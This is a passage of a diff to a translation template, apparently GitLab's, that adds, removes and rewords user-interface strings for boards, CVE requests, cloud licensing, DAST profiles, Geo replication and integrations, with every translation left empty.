@@ -4711,6 +4840,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4813,6 +4945,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4831,6 +4966,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4855,7 +4993,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5435,6 +5593,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5526,6 +5690,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5742,6 +5930,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5769,6 +5960,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6426,6 +6626,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6459,6 +6662,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8752,6 +9039,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
